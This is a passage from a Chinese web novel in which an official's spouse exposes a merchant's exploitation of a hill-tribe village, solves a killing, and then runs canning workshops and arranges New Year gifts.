道公从娅茜被雪生扛进老人厅后就一直不敢看她一眼,被孟晚直白的询问后才终于抬起来一双满是泪水的眼睛。 “娅茜,是我的女儿。” “什么?”孟晚有些惊讶,他对还在娅茜旁边的阿寻道:“阿寻,你仔细着看看。” 阿寻今年十四岁,他的的医学天赋虽然没有青杏高深,但也将苗郎中的一身本领学了个七七八八。 他先是给娅茜搭了脉,又摸了摸她身上的骨头,然后十分肯定的说:“孟夫郎,此女年岁在四十二到四十五岁之间,面容苍老丑陋是因为她身体里有种毒素在侵蚀她五脏六腑。” 说到毒还是楚辞最在行,听到阿寻的诊断,楚辞也上前掀开娅茜的眼皮和舌头,最后对孟晚比划道:“确实是中了毒,但不是什么要命的毒素,应该是长年累月的食用毒草才会导致现在这样。毒素长存体内,一点点不足致命,可如今已经活不过一年了。” 孟晚的视线从他悲伤自责的脸上划过,“你女儿为什么会变成变婆,还不说吗?我儿子说她已经只有一年的寿命了。” 道公像是并不意外娅茜的毒,“我没有故意隐瞒,娅茜年轻的时候是壵寨里最心灵手巧的姑娘。她和那柑寨的覃斡相爱,后来覃斡出去闯荡,娅茜就一直等着他。直到覃斡带着妻儿回寨子,娅茜她……就疯了。” 这件事整个壵寨的族人都知道,娅茜疯了之后跑进山林里,再也不见了。 谁也不知道后来流传出来的变婆就是她,大家脸上的惊讶不是假的。 道公的声音苍凉痛苦,“是我年轻时候做为壵族里的道公,地位崇高,嫌……嫌娅茜丢人,那天她跑丢了之后故意……没去找她。” “后来覃斡在寨子里买布,他和我们几个老家伙说……” “阿廖!”寨老拧死眉头,紧绷着脸上的皮肉呵斥道公。 道公这一路早就想通了很多事,他妻子早年走了,儿子因为妹妹的事和他关系也不好,女儿也没几个月好活。他一把年纪心里一直藏着秘密和愧疚,让他寝食难安,“寨老,没有必要隐瞒了,我们当年的决定不见得就是对的。” 道公决议要将自己隐藏了半辈子的秘密说出来,“覃斡和我们几个老家伙说,他在府城有个对家,一直想查他的底细。叫我们封锁寨子,千万不要将壵寨的布泄漏了出去。不然,寨里的女娘们再也赚不到他的这份钱不说,还有可能被他对家抓去。之后寨子里便丢了好几个孩子,又流传出变婆的传说。” 几个老人有所猜测,但还是心照不宣的默认这件事的发生,然后这群壵寨里的人就信了。 说他们愚昧,他们还知道守护同族,说他们聪明,他们还真是一根筋不知道将问题多想几遍,旁人说什么就信什么。 孟晚起身从随行的包袱里拿出一块色彩鲜明的布匹来,上面以回字纹为主,织有花鸟鱼虫等具有吉祥寓意的组合纹样,结构严谨而富有变化。 “这样的布,你们织五十天,最后覃斡给你们八十文的酬劳?” 那柑寨的头人显然极为熟悉自己寨子的布,“这是达尼妹织的吧,整个壵族只有她能织出这样好看的布来,别人织的没有这么好看。” 孟晚咬牙切齿的又从包袱里扯出另外一块稍薄一些,织满了几何纹图案,能看出来应该是比达尼妹织的布少了几道工序,但依旧十分打眼,“这块是达尼妹的阿妈织的,你们觉得卖八十文就很合理了?” 他的话把所有人都问的迷茫了,不卖八十文卖多少?一块布而已,就是不卖他们壵寨的女娘哥儿也是每天都织的。 孟晚面色狰狞,“你们眼里的这块普通的布,外面一匹最少卖二两银子!” “二两?” “可是我们只是用它做被面、头巾啊?怎么会这么多钱?” 众人竟然不是先震惊愤怒,而是百思不得其解。 孟晚十分无奈的和宋亭舟对视了一眼,宋亭舟稳坐上首,看着身旁两位不知所措的老人,缓缓说道:“所以,你们是被覃斡骗了。” 老人厅里寂静无声,许久才有人反应过来抓住了其中一个重点,“那我们前些年丢掉的孩子,其实是覃斡故意拐走的?” 他们真诚的尊敬这个走出大山的族人,对方却用他们的孩子要挟恐吓他们不许迈出壵寨? 寨老看着一张张愤怒的脸,不得不承认自己错的离谱,他喃喃道:“是我的错,全是因为我的愚蠢,才会被覃斡欺骗。” 民愤难平,寨老愧疚的恨不得要以死谢罪。孟晚这时候突然站了出来,“那些孩子并没有死,我知道他们在哪里。” 很多丢了孩子的族人没来老人厅,听到孩子没死,有关系亲近的人立马去丢了孩子的家里报信。 一群人在雪生的带领下浩浩荡荡的往那柑寨与另一个山寨交界处的山林方向出发。包括寨老,宋亭舟和孟晚等人,还有被揭露了真相后那柑寨头人。 因为覃斡是那柑寨的人,所以他是整个壵寨和覃斡联系最亲密的人,他从没想过自己这么多年维持的和平表象,替覃斡做眼线送信,反而害了他的族人! 壵寨的密林很深,野兽也算不少,好在他们人多又带着兵器,没有凶兽敢凑上来袭人。 道公这些年也不知道具体位置,雪生来过一次,他放开了已经散了药劲儿的娅茜。 娅茜这么多年独自生活在密林里,因为长期误食毒草,已经有些神志不清,行为举止完全兽化。她恢复自由后手脚并用的趴在地上爬行,速度极快的远离了众人,在远处对他们愤怒的呲牙。 “快,跟上她,娅茜把那些孩子藏起来了。” 道公是当年第一个发现这件事的人,他心底的良知让他没有声张,反而时不时的带些旧衣、棉花和食物扔到这个位置,等看到娅茜拿走东西他才离开。 雪生动作最快,其余人跟着他和娅茜狂奔,终于在一处山洞里找到了她们的落脚之地。 那些最小都已经七八岁,最大十五六岁的孩子们,并没像娅茜那样趴着行走,而是由最大的孩子带领,如同人类孩子一样行走说话。 除了面色焦黄,营养不良之外,每一个都活的好好的。 甚至最大的孩子一眼认出了人群里的阿爸阿妈,她泪流满面的冲过去,却害怕眼前一幕都是幻觉,久久不敢上前拥抱自己亲人。 “娜亚!” “达林……呜呜呜,都是阿妈的错。” “蒙岜,快过来,你不认识阿爸了吗?” 父母与子女经历磨难重逢,向来是这世间最催泪的感人事件。 宋亭舟看向包括道公和寨老在内的老人和头人们,掷地有声的说道:“壵寨的发展从来不是固步自封,做为整个西梧府除了汉族外人口最多的种族,你们难道没有想过之前的你们是如何发展的?若是维持被覃斡欺骗下的现状,百年后壵寨会不会也同瑶寨、鹋寨一样人口凋零,分崩离析?” “壵族人需要与外界通商,而你们,也不再适合管理壵寨!” 第17章 壵锦 覃斡忽悠他们几句他们相信,现在事情真相摆在面前,他们下意识的又相信宋亭舟的话。 “通商?怎么通,还是卖布吗?” “达尼妹阿妈织的布,我家达雅也会织,不用二两银子,二……二百文就行了。” 孟晚无奈扶额,“二百文够干什么,连成本价都不够。” 其余人不解,“什么成本?那些线都是我们自己搓的,不要钱。” 孟晚面上皮笑肉不笑,颇有些阴阳怪气的说:“那我愿意给,行不行?” 周围人都在暗戳戳的听着道公的翻译,他们其实自给自足,对挣大钱有向往,但不是多有动力。 孟晚心想:没关系,等他们出了寨子,知道钱还能买更多想要的东西,就会开始热衷了。 “我手里并没有布庄,对这一行也完全是外行,但你们可以自行拿着布去寨子外面问问,各家布庄都给多少钱,谁给的多就卖谁。”他见众人听得认真,便趁着这会儿那些家人团聚还没缓过劲儿的功夫,对这些心思淳朴的人交代。 “但最好不要签署乱七八糟的文书,若是低于二两银子,就去西梧府宋家找我,我替你们找店家交涉。” 孟晚想的是壵寨的人刚经历了族人的欺骗,这样一来应该更让他们放心。但几个年轻些的头人扭扭捏捏,“能不能您帮我们去谈,我们……”他们语言不通,还是怕被骗。 孟晚掰开揉碎的和他们解释:“你们信得过我当然好,我很开心。可总也不能一辈子都让别人替你们在外交涉,若我是第二个覃斡又怎么办?” 他们有些无措,“不会的,我们相信您。” 孟晚感叹道:“人心易变,覃斡刚开始没准也是真心为你们打算的,后来才变了心思。所以你们要自己来,每个寨子都至少推出两个人学习禹国官话,外出行走。然后整个壵寨的人每月也要聚在一起盘账,起码大家卖的价钱都差不多,不会存在单一某个寨子被骗的情况。” 壵族人其实有个最大的好处,就是团结。当大家都走出山寨看到外面的世界后,一两个有小心思的人便再也掀不起什么风浪了。 这群可怜的孩子被父母接走,替覃斡卖命的韦凯和那柑寨头人也会受到他们本族的惩罚。 壵寨的寨老道公和几个参与其中的老人都自请卸任,年轻一代壮年顶上他们的位置。 那柑寨的头人并不坏,但他却因为自己的愚蠢,不自觉的害了自己的族人。他在临走受刑前还在和族人们说:“农勒的儿子农纳也在山林里走丢了,我们寨子里的人找了一夜没找到,多叫些兄弟在林子里找找吧。” “这个你就不用操心了,我们会找到农纳的。” 娅茜疯了之后独自跑到林子里,碰巧救下了那些被迫“走丢”的孩子们,他们在密林的山洞里一起生活。 而这些孩子“走丢”的地点,便是挨着农勒家的枯井,要说他不知情,谁也不会相信。 孟晚刚开始也并没有怀疑到农勒身上,直到第二天雪生下了井,从里面带出了人类的头发,他这才发觉出蹊跷。 之后两天他一直暗自观察农勒,果然发现他身上有不对的地方。 农勒在达伦死后一直在勤快热心的帮助达伦家里,这本来没有什么,只能说明他热心肠。 可自从达伦的尸体被搬入灵堂后,农勒就想方设法的回避。那种讳莫如深的样子可不像是单纯忌讳死人,更像是心中有鬼。 等寨子里的人都离开,只有道公和两个年轻的头人还跟着他们。这两个头人就是刚才和孟晚搭话的两个,他们还有事想问孟晚,见他有事要忙的样子也不好意思开口。 他们退出山上密林,返回到那柑寨的枯井处,雪生干脆利落的跳下去,把周围的人都吓了一跳,不知道他是要干嘛。 一排的脑袋还没来得及凑上去,雪生那边已经背了个小孩上来了。 农纳嘴巴被塞住,双手双脚也被绑在一起,小小一个孩子,被这么对待,大家都出奇愤怒。 “农纳,是谁把你绑到井里面的!” “该不会是那柑寨的头人吧?” “你是不是傻,刚才那柑寨头人还叮嘱我们帮忙找农纳,怎么可能是他。” “那是谁这么对一个孩子?” 孟晚把农纳口中的布拽出来,对着男孩怒气冲冲的双眼勾唇一笑,“不用猜了,是我让人做的。” 农纳被在井里关了一晚上,又怕又饿,边哭边用壵语冲着孟晚和雪生大喊大叫。 他们现在对孟晚很有好感,觉得孟晚是个喜爱虐待小孩的人,满是不解的询问:“你为什么要这么做?” 宋亭舟用壵语回了他们,“农纳在我们喝的水里下了药,应该是他阿爸指使他干的。” 准确的说是给孟晚下药,可孟晚向来警惕,吃食都是自己人做,只有水才喝的当地的。 他察觉到农勒有怪异之处后就一直提防着,很快就发现农纳偷偷往他房间的水壶里加了东西,不是什么致死的毒药,应该和迷药一个性质,是某种植物的汁液。 只在白天添药,那就是让他晚上回房的时候喝的,省的坏了他夜里的事。 至于是什么事,一会儿就能见分晓了。 ——那柑寨,达伦家。 达尼妹和她阿妈不安在坐在院子里,达伦的灵堂已经被撤除了,周围零散的东西都被二人归整整齐,家里的鸡鸭也都喂好,她们俩实在没有活计可干,只能干巴巴的在院子里坐着。 中午饿了也没敢离开,就枯坐到下午,一直等到外面传来马蹄声,达尼妹急切的站了起来。 “好像是他们回来了!” 孟晚他们还没到近前,达尼妹已经揣着忐忑的心迎了出去。 “人在楼上关着,我和我阿母一会儿也没离开!” 孟晚笑着夸了她一句,“做得好。” 不用雪生出马,陶十一几步窜上木楼,几息的功夫便提下来一个被用布条捆绑起来的男人下来。 农勒没想到会被这么多人围堵在达伦家,他低垂着脑袋沉默不语,直到农纳轻声呼唤他,“阿爸!”他才猛地将头抬起,“农纳!你没事?” 雪生在孟晚的示意下放了农纳,农纳飞扑到农勒身边,小狼一样的眼神凶狠的瞪着孟晚说:“是他叫那个人把我抓起来的!我就在山边的井里,能听见你们找我,但是不能发出声音!” 小孩子收到委屈,第一反应便是向家里大人告状,可他的话说完,农勒却并无太多表示。 一旁的达尼妹像是受到了农纳的启发,冲着所有头人说:“今天早上我和阿妈送葬回来,农勒叔叔就偷偷藏在我房间准备将我打晕带走!” 她只说前因,没说自己是怎么逃脱又反将农勒囚禁起来的,只是和孟晚心照不宣的对视了一眼。 道公也很不解,“农勒,你要劫持达尼妹做什么?” 不管旁人怎么问,农勒就像被封住了嘴巴一样,一声不吭。 “是你杀了伦达吧。” 孟晚这一句话如平地惊雷,所有人都难以置信的看向农勒,他们善良热心的族人。 农勒缓缓将头低了下去,“我不是有意杀他,是意外。” 迎着族人或震惊、或不解、或仇恨的目光,农勒终于承受不住心里压力,将埋藏在心里的秘密说了出来。 任是孟晚和宋亭舟都没想到,壵寨被覃斡把持的水泄不通的情况下,农勒竟然和他最大的对家余家联系上了。 “我托达伦在县城给农纳买些云片糕,听货郎说县城的小孩子都喜欢吃。农纳急着要,我就到寨门外去等达伦,没想到正看到他乘坐一辆马车回来。可能是怕被人发现,马车上的人并没有将他直接送到寨门处,而是离得远远的就将他放了下来,还一直在规劝他什么。” 马车上的人自然就是余家人,他们早就知道覃斡的出身,不知用什么手段查到覃家铺子里卖的壵布是壵寨人所织,便一直千方百计的想横插一手,可惜一直没有机会。 就是这么巧,遇上了久不出壵寨的达伦。 农纳本来没有那么多的心眼故意偷听什么,谁知余家人见达伦久不答应,竟扬高了嗓门,“只要你把女儿送到我的布庄里做织娘,我愿意每月给她一两银子的工钱!” 那可是每月一两!他们寨子里的人一家一年也花不完一两银子。 覃斡是那柑寨的人,也带自己妻儿回来过一次。农纳是怎么羡慕覃家人的他都看在眼里,农勒也想让儿子走出山寨去。 于是达伦前脚离开,农勒后脚便追上了余家的马车。 便是和余家谈好条件,他也从来没想过要杀了达伦,甚至想事后两人一起分钱。但是达伦太一根筋了,那柑寨的头人不让大家将山寨卖布的事说出去,他便严守秘密,任余家人怎么诱惑也不说。 农勒刚开口就被达伦愤怒的骂了回去,他还当着农勒的面说要将事告诉给头人。农勒自然不想让事情曝光,两人厮打起来。达伦被他推倒在一块用来标记田埂的尖石上,只不过三息就断了气。 农勒又后悔又害怕,撒腿就跑了。 他在家里瑟瑟发抖,生怕被人发现自己杀了达伦,可后来只收到达伦家人的报丧,并没人提起达伦是被杀的,他这才放了一半的心。 可做了亏心事,总是怕遭报应的。他听韦凯说孟晚的夫君是府城来的大官,也不知道大官是什么官,管不管得到他们壵寨的事,只管一门心思的害怕。 终于下定决心在伦达下葬的前一天给孟晚和宋亭舟下药,然后潜伏到达尼妹家,等她回来直接将人绑了送到余家去。 他和儿子拿了钱去外面,再也不回来了。 农勒摸着儿子黑而浓密的头发,他长得很像他阿母,“农纳,阿爸是要给达伦偿命的,你以后去那劳寨你姑姑家里吧。” 农纳已经不小了,他瞬间意识到了什么,双手紧紧抓着农勒不放,“不要走阿爸,你去哪里我就去哪里。” 农勒拍拍他单薄的肩膀,努力让泪水不要从眼眶溢出,“农纳,你已经长大了,阿爸相信你已经可以变成壵寨中最勇猛的汉子,就像木槿寨的头人一样。” 人做错了事,总归是要受到惩罚的,就算不是宋亭舟将他带去府衙,壵寨的族规也不会轻易放过他。 相对稳重的陶八带上两个衙役,先将农勒押回府衙去。 宋亭舟和孟晚在壵寨一直待到年底才回了家。 宋亭舟拿着壵寨的最新户籍册子,去衙门筹备年后壵寨修路事宜。孟晚则带了大批竹制品订单和受完族刑还没恢复的韦凯,忙活着要在府城开上一家新铺子。 宋亭舟在牙行的名头好使,孟晚很快选好了店铺地址。 “这间铺子算是我送给壵族的礼物,感谢你们这两个月的热情招待。”孟晚把房契拿给韦凯。上面是官府特批的文书,言明此店铺非个人所有,而是孟晚赠与壵族所有族人的,目前使用权是韦凯的。 韦凯做为整个壵族中官话说的最好,人也不是最傻的,目前最适合胜任这家店的店主。 这家店铺专门卖壵寨的竹制品,孟晚的罐头厂便是这家小店的第一笔大单,足以包揽整个寨子一年的手工活。 当然——不包括壵锦。 壵锦就是达尼妹织的特殊布匹,它的工序更难,用时也更久,堪称布中精品。放眼望去,不光是西梧府,就是整个岭南,也没有比它更精贵的布料。 覃斡这个目光短浅的奸商,搭上曾家的风才把自己养的这么肥。壵锦何其名贵,他一个布商难道看不出来? 不怪同行的余家看不起他。覃斡只想用微薄的价格让壵族人给他打工,却不知道壵锦不该沉寂在小小的布坊里,而是走出西梧府,走出岭南,让其他地界的人看看:他们岭南人杰地灵,别人有的他们有,别人没有的他们一样能搞得出来! 第18章 年礼 年底赫山县的还有糖坊和藕坊盘账的事,他和唐妗霜谁都没空,只能让黄叶顶上。正好他要去看槿姑,也算顺路。 孟晚对身边的仆人都是填充式教育,能干就塞过去干,不能干再换个人塞。家里现在除了朱颜、朱砂之外,还有两个当初一起买来的女孩,名唤朱铜和朱鼓。朱铜是这批孩子里最大的,今年也才十四,为人老实本分,有点笨,但干活勤快。 朱鼓正好相反,十三岁,小心思多但没有朱颜处事稳当,正好让黄叶把她带出去历练历练。再加上个雪生陪同她们一起去赫山,如此才算稳妥了。 糖坊的碧云和藕坊的荷娘都是值得信任的管事,可孟晚向来不会拿利益去试探人心。除了规定他们二人往后每三个月来西梧找他报账外,年底的盘账是一定要去工坊里巡视一番的。 其他的都是虚的,若真有心欺骗,账目可以造假。作为大东家的威信必须树立起来,让工坊的工人们知道真正管事的到底是谁,以此减少基层矛盾和管事虚假汇报的可能性。 而且现扬盘账更能直观了解生产进度,设备损耗、原料库存等细节问题。总不能天天在家等着进账,一说起工坊的事两眼一抹黑吧? “挑选橘子的时候一定要注意,熟透的要放到二区榨成果汁,硬挺的放到一区做成罐头。” “你,橘子清洗的时候不能用这么大的力气。” “盛放橘子皮的筐既然满了就换下一个呀,上面的都掉下来了,都是入口的东西,怎可如此不仔细!” 西梧珍罐坊内分为好几个区域,孟晚从隔壁风重的橡胶坊过来,就见唐妗霜在分拣区内脚下生风,眼睛左盯右看的训人。 没有老板会不满意这样认真负责的手下,孟晚笑着说:“年底给你发个大红包。” 唐妗霜嘴边牵起一抹苦笑,“那我就先谢谢东家了。”他最近火大的很,柔娘又总对他避而不见,嘴边因为上火长了个硕大的燎泡。阿寻给他开了两副苦得要命的汤药,他灌到随身的竹筒里,工作的时候喝上一口感觉人都麻了。 孟晚来了,唐妗霜就将手下的事交给底下的小管事,他陪孟晚去最为重要的罐头制作加工厂查看。 被挑选好的优良橘子,一批又一批的被运送到加工间里,而这样的力气活,由一群男工们担任。 刚开始知道孟晚要往工厂里招设男工时,唐妗霜是隐隐不赞成的,男人在他眼里永远是不稳定因素。更何况藕坊里还发生了那种事,差点逼死当时的懂哥儿。 但孟晚邀请他在常金花屋里促膝长谈,那天不光有唐妗霜,雪生、黄叶、楚辞、新买进府里的几个小丫头都在。 “赫山县的糖坊和藕坊不是也都是女娘哥儿吗?为何西梧府就不行?夫郎,我不能理解。”唐妗霜接受不了要在工坊里同男人一起劳作。 孟晚则耐心的跟他分析,“西梧府不是情景窘迫的赫山,它应该是庞大且有包容性的。赫山县的乡下做为甘蔗原产地,虽然糖坊里确实都是女工和哥儿,但你是不是忘了,乡下的男人老人甚至小孩都在地里劳作,甘蔗也是由男工运输到糖坊里进行进一步加工。每个人都有自己生存的意义,男、女、哥儿都无分别,只不过意义不同,一起上工,更能事半功倍。” 孟晚是个鼓动人心的高手,几句话就将唐妗霜说动,可他还是心存顾忌,“但工坊内封闭,男女哥儿同在里面上工,恐怕会传出什么流言蜚语。大家做工的时候也会存在各种不便。” 常金花抱着阿砚坐在榻上听他们争辩,听闻唐妗霜的话不自觉暗暗附和,她做为一个独自带大儿子的寡母,显然是知晓诋毁造谣的威力。 “霜哥儿说的也是,不然还像糖坊那样,让汉子在外拉货,女娘哥儿在坊里做活呢?” 孟晚坐到常金花身边,捏着她手腕上的金镯子玩,姿态亲密,“忙不过来的娘,工坊建立初期,敢来上工的女娘小哥儿都不多。罐头坊又比糖坊复杂的多,里面分门别类,不光长工缺,短工也缺。若要使工坊运作流畅,工人的人数一定要庞大。” 招人的事一直由唐妗霜负责,这个问题他也明白。但一下子转换思想很困难,而且他担心的事不无道理,这些问题孟晚也曾考虑过。 他唯一想到的办法便是——慢慢同化。 三座工坊运作庞大,是赫山糖坊的几倍。先不说玻璃坊和橡胶坊,单单一个西梧珍罐坊就分成了五大区域。行政区在最外层,负责接收和清点货物,有散户零散运过来橘子,若是品质上佳,他们工坊也是收的。这些事都由行政区的几个管事负责,她们轮流在行政区值班,轮到谁,谁去交涉。 再往里走就是分拣区,这里面的活算是简单的,但是需要眼疾手快干活麻利,大部分招的都是四十多岁的妇人或者夫郎。 分拣区将收来的果子按成熟程度进行分拣,比较熟烂的送到二区制成果酒果汁。熟度正好的,比较硬挺的水果便挑好由那些男工送到最主要的一区,也就是罐头制作区。 两个区域门口各自有个小的剥皮区域,需要人工给果子清洗去皮,此处同样是许多四十多岁的府城妇人们做活。 工坊里的分拣、剥皮两个区域的妇人们,一半是家住府城,生活艰难的妇女甚至寡妇。还有一半则是唐妗霜收果子的时候顺便招收的村妇。 她们签的都是短工的合同,每日工钱七十文,次月月结。 如果说头一个月她们还半信半疑,第二个月真的收到两吊钱并零散一百文后,内心的狂喜是如何都压抑不住的。 她们也能赚钱了,甚至赚的比某些汉子还多! 若说短工每日七十文是狂喜,整个珍罐坊最重要也是最精细的罐头制作区,里面的工人则是被孟晚开出的高薪砸的一脸懵逼。 珍罐坊里又要细化为熬制区和装罐密封区,它们两小区的工人则有男有女有哥儿。熬制区里添火和熬制罐头的是男工,装罐密封区全是女娘和小哥儿,而且有几个还是孟晚从壵寨里带出来的。 她们负责将熬制好的罐头分装进玻璃罐子里,再给装好的罐头套上壵族手编的精致竹编套子。 这个活计比较细致,因此熬制区的男工和装罐密封区的女娘小哥儿工钱都是一样的,每月三两银子。 三两银子的工钱放到西梧府是什么概念。做为西梧府两大豪商,覃、余两家给手底下的铺面掌柜都只开到二两八钱。可罐头坊的一个个普通工人竟然每月三两银子? 得知内幕的人无一不认为孟晚疯了,甚至说他不懂经商,白铺了这么大的摊子,结果只一味瞎搞。 没错,现在男女哥儿同在工坊做工的事反而只引起少数人的闲话。大家反而是觉得他这个大东家哪儿哪儿不正常。 孟晚觉得很好,半点不受影响。唐妗霜如今也习惯了在工坊里见到男人。工人们敢出来迈出第一步的,为了这二三两银子的月钱也得让自己适应。要知道,自从工坊头一个月全员发了工资后,有的是人挤破头都想进罐头坊。 —— 过年当天,孟晚忙碌的脚步总算停了下来。他给三座工坊里的工人,短工每人发了两只鸡,长工则是每人半头猪。鸡是从赫山县的鸡舍里定的,猪是提前就和府城的所有屠夫都打好了招呼。 腊月二十九那天,杀好的猪、宰好的鸡,一车车的拉运到工坊。 工坊外面临时搭建了两座棚子,一边是分鸡的,一边是分猪的,扬面异常热闹,连城内的人家都出城来看热闹。 孟晚踩了个高凳,站在两座棚子中间,对工人们说:“大家先听我说,因为咱们工坊的人太多,鸡和猪我们能收多少就收了多少,确保每个人都能分到。但是——每只鸡、猪的大小我没法保证,咱们拿到手里也比和其余人比较,高高兴兴的拎着回家过年去,好不好?” 都是白给的实在东西,谁是疯了还是傻了会不满,只管在下面痛痛快快的喊道:“好!” “谢谢孟东家!” “东家放心,给一个我也不嫌少!” “花大婶,你要一个就够,那把多出来的给我吧?” “我呸!你也不怕吃多了肉腻得慌,昨天我还见你婆母给你炖肘子了。” “哪儿是给我炖的,是给我家鸾哥儿炖的,他现在挣得比他爹和几个叔伯加在一起都多,他爷奶把他当什么似的供着,在家想吃什么就给做什么。” “我家春娘也是,她哥嫂都说让她在家多留几年,不急着嫁人去。” 底下人热热闹闹,可不管说什么话大家都是喜气盈盈。 工坊里的管事们做事都是利索的,谁都想带着银子和肉,回家过个好年。几乎是孟晚在上头说完了话,棚子里的管事们整顿整顿就开始分鸡、分猪。 说是说的好听,可拎着鸡的人见到那群小年轻各个扛着半头猪走,心里不泛酸也不可能。 这群妇人眼尖的来回扫荡,不是想给自家娶个工坊里的媳妇,就是算计着家里有没有合适的女娘小哥儿。 那些年轻人,特别是女娘和小哥儿们,他们大部分都是家人过来接人。一个个替弟妹或儿女扛着猪肉,把腰板挺的笔直,昂着脑袋,像是斗胜的公鸡一样,是说不出来的得意。 这会儿再没人说什么男女同工的闲话了,说了也没人在意,他们在乎的是拿到家里真金白银的银子,和够全家过个好年的半头猪。 孟晚慢慢踱着步,从棚子里撤出来看着面前这热闹的扬景,眼睛微微弯曲,心里是说不出来的满足感。 “这么高兴?”宋亭舟过来接他,走到他身边后十分熟练的牵上他的手。 孟晚举起他的手,晃起俏皮的弧度,“不知道为什么,比自己挣了钱还高兴,好神奇,有种莫名其妙的感觉。” 宋亭舟显然明白他话中的意思,也能品到他那种其妙的感觉,“你看着众人因你的带动,从踟蹰不前到步履坚定,生活从黯淡变得鲜活明亮。前路平坦,是你替众人铺好的道路,万里晴空,也是你拨开的云雾。” 两人手牵着手慢慢往城中走去,曾经他们在赫山城外也是这样走过来的,这一路不光他们,还有许多因为他们而改变了命运的人。 —— 年后孟晚和宋亭舟是闲下来了,常金花却差点忙疯,主要是心累。 今年她们举家搬到西梧府,宋亭舟又升了官,人情来往方面又杂又乱。从初二开始,络绎不绝的礼品就一车一车的往宋家送。 常金花为了让孟晚多歇歇,就主动包揽了送年礼、走人情的诸事。 像是最简单的赫山县陶家和与他们一起来西梧府的苗家,这都是亲近的人,礼品轻了重了也不会被挑刺,常金花是乐意打点的。 再就是京城的林家、祝家、吴家、聂家,还有扬州的项先生和林大人。这些都是孟晚早就准备好的。礼不见得多么重,但保证都是岭南的稀奇玩意,因为距离遥远,也不局限于正月里送达,往年都是祝三爷拉货回去的时候顺路送去。 但宋亭舟官扬上这些人就不好回了,比宋亭舟官高一品的曾知府,他们要先上门送礼。还需比通判等官职略低于宋亭舟的礼重上一些,又不能太过贵重使曾家回礼犯了难。其中的“度”需要仔细斟酌。 常金花纠结许久也不敢拿主意,还是捧着库房的册子去问孟晚。 “你不说我险些忘了,曾家的礼我来选,你只管回其他人送来的就成。”孟晚揽下了给曾家回礼的事务,带着黄叶和几个丫鬟直接去了库房。 第19章 首饰 “去老夫人那儿,把库房的账册拿过来给我看看。”孟晚见里头还算干净规整,自己搬了张凳子坐,随口吩咐身边的侍女。 朱铜木讷的站在他旁边,慢半拍的反应过来孟晚在和自己说话,“欸,夫郎,我这就去。” 她平时不常在孟晚跟前办事,总是听旁人说夫郎如何如何厉害,不免心生胆怯,畏手畏脚,出门的时候还差点跌一跤。 孟晚默默扶额,笨好像是有点笨,好在踏实肯干。一根筋有一根筋的好处,起码没有歪心思。家里人越来越多,有像黄叶一样忠心又得用的,自然也会有存着小心思的,这种事不可避免。 过了会儿朱铜小跑着回到库房,她从前家里穷,一家子七八个儿女,别说吃饱饭了,身上穿的衣裳都是几块破布拼到一起的,哪儿也遮不住,还是牙行的人给她找了身破衣裳蔽体。 来宋家之后顿顿有肉,餐餐管饱,朱铜现在脸都给吃圆了,身高也猛蹿。孟晚接过账本见她紧绷绷的衣裳,“过年不是给你们置办了新衣吗?怎么不穿?” 朱铜走到他身边就停下步子慢慢吸气,垂下脑袋呐呐的说:“回夫郎,奴婢身上穿的这身就是年前置办的新衣。” 过年天天大鱼大肉,不小心又吃胖了十斤…… 孟晚被她的话一噎,“你跟我来,这头还有桃粉色的棉布,你抱回去,一会儿自己改一改。” 名贵布料都妥善放在里柜子里,常金花节省,孟晚则是没什么概念。他家以前剩了没用过的布料,常金花都用来给下人拿去做衣裳。特别新来的这八个,都是十来岁的小孩,个子长得快,每季每人都要做两身新衣裳,比主子换的都勤。 “对了,我师傅年前从扬州给我拉来了一车布匹,都放哪儿了。”说到布,孟晚想到项芸每年都会给他拉一车扬州最时兴的布料,可能是她初次见孟晚的时候,孟晚身上粗糙的布衣给她印象太深,总导致她有一种小徒弟过得很惨的错觉。任孟晚解释自己开设多家工坊,手里不差钱,她也不听。 岭南那破地方,就是有钱,又能买到什么好东西? 项芸不语,只是一个劲儿的给孟晚塞东西。 “在这边的柜子里夫郎!”朱铜带孟晚走进一间专门盛放布料的库房,里面是整个大库房里最干燥凉爽的房间。 朱铜找到其中两组高脚衣柜,将柜门打开给孟晚看,“夫郎,这里面都是前两个月项先生新送来的料子。” 入眼便是用桑皮纸包裹的严严实实的布匹,纸上还贴心的画上了花色用作分辨,其中以青蓝两色居多。 孟晚扯开一匹上手摸了摸,触感柔韧丝滑,“不错,你挑出八匹颜色鲜亮些的出来,明早装车送到曾家。” 朱铜记下,“是,夫郎。” 孟晚又在库房里挑选了一批玉石把件,曾家主家如今没有男丁读书,笔墨纸砚便不能送了,不然该得罪人了。 除此之外他工坊里的罐头,用上好的木料箱子装上八瓶。赫山过年送来的藕粉带上六坛,再加上玉饰和布匹,这便凑齐了。 无功无过,既不过分打眼,犯了逾越之罪。又有名贵物件,不至于让曾家瞧不上眼。 第二天曾家也开始准备给曾知府的下属们回礼,曾老夫人自儿子死后便不常在外走动,曾家都是小覃氏当家。 她娘家覃家的礼早就一车车的拉走了,曾家院里现在只剩曾知府的下官家的回礼还没装好。 小覃氏穿了件覃家送来的嫣红色薄袄,上面大片大片的山花鸟雀,栩栩如生。她坐在贵妃椅上对着伺候的嬷嬷摆摆手,“各家送过来的礼都登录造册了没有?” “少奶奶,老奴这几日床都挨边,赶着夜都给登造好了。”小覃氏的嬷嬷不着痕迹的说着邀功的话,将礼单册子递上去还不忘讨好主家,“我见着今年的礼比去年厚了不止一分两分,可见都是因为咱们家老太爷升官,上杆子巴结讨好呢!” 小覃氏听了心里受用,有一下没一下的翻看礼单,嘴上哼笑一声,“这点东西算什么,西梧府的这些官一点油水也没有,看看这什么杜通判送的,都是什么穷酸东西?这一车的破烂还不如我娘家的一匹料子值钱!” 嬷嬷顺着她的话往下说:“可不是嘛,还是个官老爷呢,行事这般小家子气。” 主仆俩暗自鄙夷杜家,小覃氏白嫩的手指顺着礼单接着往下飞速下滑,怀着莫须有的情绪,她想找宋家的礼单。 “把宋同知家送来的东西都找过来,我亲自看看。” 曾家的下人轮番上阵,将刚收入库房不久的东西又一件件的搬到小覃氏面前。任小覃氏眼光再高,毕竟眼界就这么大,扬州的布料是她们覃家拍马都比不上的。 玉石都是中等货,称不上顶尖也说不出毛病来。小覃氏想挑刺都只能从藕粉和罐头上挑。 她翻了个白眼,“这种吃食放库房几日了,谁知道还能不能入口?都搬到给杜通判家和张推官等回礼的马车上去。” 这几家便是家底薄弱,送的礼被她嫌弃的几家。 罐头和藕粉被孟晚定义成高端货物,暂时还不在西梧府当地出售,所以众人只知道孟晚办厂,还真少有人了解他做的是什么营生,只知道与橘子相关。 